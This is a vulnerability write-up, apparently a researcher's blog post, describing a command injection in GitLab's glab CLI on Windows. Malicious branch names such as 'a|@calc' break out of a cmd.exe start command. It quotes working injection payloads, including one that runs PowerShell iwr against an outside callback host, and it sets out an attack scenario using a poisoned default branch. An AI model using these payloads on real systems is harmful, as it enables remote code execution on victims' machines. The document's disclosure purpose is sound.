RCE in GitLab's CLI tool
Introduction
After starting at GitLab in October last year as a security engineer, one of the first reviews that came my way was our CLI tool, which was only recently published officially.
Taking inspiration from the command injection vulnerability in Snyk's CLI tool, we decided to performed a code review on GitLab's CLI tool to look for improper usage of exec.Command
. A particular code snippet in /pkg/browser/browser.go
:
func ForOS(goos, url string) *exec.Cmd {
exe := "open"
var args []string
switch goos {
case "darwin":
args = append(args, url)
case "windows":
exe = "cmd"
r := strings.NewReplacer("&", "^&")
args = append(args, "/c", "start", r.Replace(url))
default:
exe = "xdg-open"
args = append(args, url)
}
cmd := exec.Command(exe, args...)
Attack surface
Golang does a pretty decent job of protecting against command injection, and we would only be vulnerable to any kind of RCE only if direct calls to cmd.exe
or sh
were being made with user input. In the above code snippet, url
is directly being used to call a command that looks like:
cmd.exe /c "start <http://url="">
If we can control the url
parameter somehow, we may be able to break out of the URL and inject arbitrary commands. Looking for usage of this function leads us to /commands/mr/create/mr_create.go
. This line indirectly calls the function that we have noted above:
return utils.OpenInBrowser(openURL, browser)
openURL
is generated using the following:
openURL, err := generateMRCompareURL(opts)
Following generateMRCompareURL
leads us to the following piece of code:
u, err := url.Parse(opts.SourceProject.WebURL)
if err != nil {
return "", err
}
u.Path += "/-/merge_requests/new"
u.RawQuery = fmt.Sprintf( "merge_request[title]=%s&merge_request[description]=%s&merge_request[source_branch]=%s&merge_request[target_branch]=%s&merge_request[source_project_id]=%d&merge_request[target_project_id]=%d",
strings.ReplaceAll(url.PathEscape(opts.Title), "+", "%2B"),
strings.ReplaceAll(url.PathEscape(description), "+", "%2B"),
opts.SourceBranch,
opts.TargetBranch,
opts.SourceProject.ID,
opts.TargetProject.ID)
return u.String(), nil
Circling back to what we already covered, if a user supplies the following input:
glab mr create --web
,
the function previewMR()
generates a URL via generateMRCompareURL()
, and due to supplying the --web
flag, utils.OpenInBrowser(openURL, browser)
ends up calling (pay close attention to the & char being escaped via the ^ char, which is done to send the & as a URL parameter separator instead of a shell character)cmd.exe /c "start https://gitlab.com/test-user/test-repo/-/merge_requests/new?merge_request[title]=%s^&merge_request[description]=%s^&merge_request[source_branch]=%s^&merge_request[target_branch]=%s^&merge_request[source_project_id]=%d^&merge_request[target_project_id]=%d"
Looking at generateCompareURL()
to see what parameters we can control:
u.RawQuery = fmt.Sprintf( "merge_request[title]=%s&merge_request[description]=%s&merge_request[source_branch]=%s&merge_request[target_branch]=%s&merge_request[source_project_id]=%d&merge_request[target_project_id]=%d",
strings.ReplaceAll(url.PathEscape(opts.Title), "+", "%2B"),
strings.ReplaceAll(url.PathEscape(description), "+", "%2B"),
opts.SourceBranch,
opts.TargetBranch,
opts.SourceProject.ID,
opts.TargetProject.ID)
return u.String(), nil
The title and the description is set by the user calling the glab mr create --web
command. We could try poisoning either the source branch name or the target branch name.
Exploitation
So, we are at a stage where we need to craft a valid git branch whose name is such that it allows us to break out of the URL and inject arbitrary commands.
Our current injection point, which is the URL parameter merge_request[target_branch] looks like the following
cmd.exe /c "start https://gitlab.com/test-user/test-repo/-/merge_requests/new?merge_request[title]=%s^&merge_request[description]=%s^&merge_request[source_branch]=%s^&merge_request[target_branch]=PAYLOAD-HERE^&merge_request[source_project_id]=%d^&merge_request[target_project_id]=%d"
The simplest way to break out of the command would be to use something like &calc.exe, which could end up callingcmd.exe /c "start https://gitlab.com/test-user/test-repo/-/merge_requests/new?merge_request[target_branch]=&calc.exe"
As a result, the start
command would first open the URL https://gitlab.com/test-user/test-repo/-/merge_requests/new?merge_request[target_branch]=
, and Windows will then run the calc.exe
process, thanks to the & shell character.
However, all & chars are escaped using the following line:
r := strings.NewReplacer("&", "^&")
So, & is not an option.
Windows has many file name restrictions, which wouldn't allow you to create a proper payload. However, this was not the case when creating a branch name within the GitLab UI itself. After a lot of fuzzing and searching online, the following branch name was finally crafted by using the "@" and "|" character: a|@calc
. Yes, these are valid command delimiters in Windows commands, and more importantly, valid branch names that cannot be created locally, but only via the GitLab UI. This leads to RCE.
What's more useful as an attacker is the ability to set default branches in your projects in GitLab, which mean that by default, all Git clients will load and refer to this branch.
Attack scenario
- Attacker creates a repository. They create a branch named "@|calc".
- To make the attack more convincing, they set this branch as the default branch.
- Victim clones the repository on their machine.
- Victim tries to create an MR using
glab mr create --web
- The following command is run:
cmd.exe /c "start https://gitlab.com/test-user/test-repo/-/merge_requests/new?merge_request[title]=%s^&merge_request[description]=%s^&merge_request[source_branch]=%s^&merge_request[target_branch]=@|calc^&merge_request[source_project_id]=%d^&merge_request[target_project_id]=%d"
. - The pipe character allows to break out of the URL context and launch
calc
.
PoC video
Further limitations
- Can't use the space character for a more complex payload
- Length limit due to branch name specifications
After further fuzzing, I found out that we can fully chain arbitrary Windows commands using the ";" command delimiter. The branch name for this exploitation would be:
a|@powershell;iwr('pingb.in/p/1df28a9c513ab75e6a3c73d52b8f')
This will first open up Powershell, then run the commands following the ';' character inside it. This is also something I wasn't aware of before.
Conclusion